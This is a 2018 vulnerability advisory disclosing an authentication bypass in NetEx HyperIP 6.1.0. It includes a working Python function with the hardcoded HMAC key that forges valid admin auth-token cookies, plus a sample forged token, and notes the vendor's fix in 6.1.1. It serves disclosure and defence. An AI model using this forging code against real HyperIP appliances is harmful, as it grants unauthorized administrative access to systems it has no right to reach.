KL-001-2018-002 : NetEx HyperIP Authentication Bypass

Title: NetEx HyperIP Authentication Bypass
Advisory ID: KL-001-2018-002
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-002.txt


1. Vulnerability Details

Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-592: Authentication Bypass Issues
Impact: Authentication Bypass
Attack vector: HTTPS

2. Vulnerability Description

Authentication for the management application can be bypassed
by recreating the algorithm used to create predictable valid
cookies.

3. Technical Description

Authentication can be bypassed using the function below.

>>> from hashlib import md5
>>> from hmac import new
>>> def bypass_auth(user,srcip):
... key = new('$#^Sub/s$',user+srcip,md5).hexdigest()
... token = new(key,user+srcip,md5).hexdigest()
... return token
...

The attacker first creates a cookie token.

>>> print bypass_auth('hipadmin','[redacted]')
b6b73844ce4df64f459948c5475a1096

Then the attacker can submit requests containing that value as
the auth-token cookie, which will be trusted by the application.

4. Mitigation and Remediation Recommendation

The vendor has released version 6.1.1 of HyperIP, which they state
addresses this vulnerability.
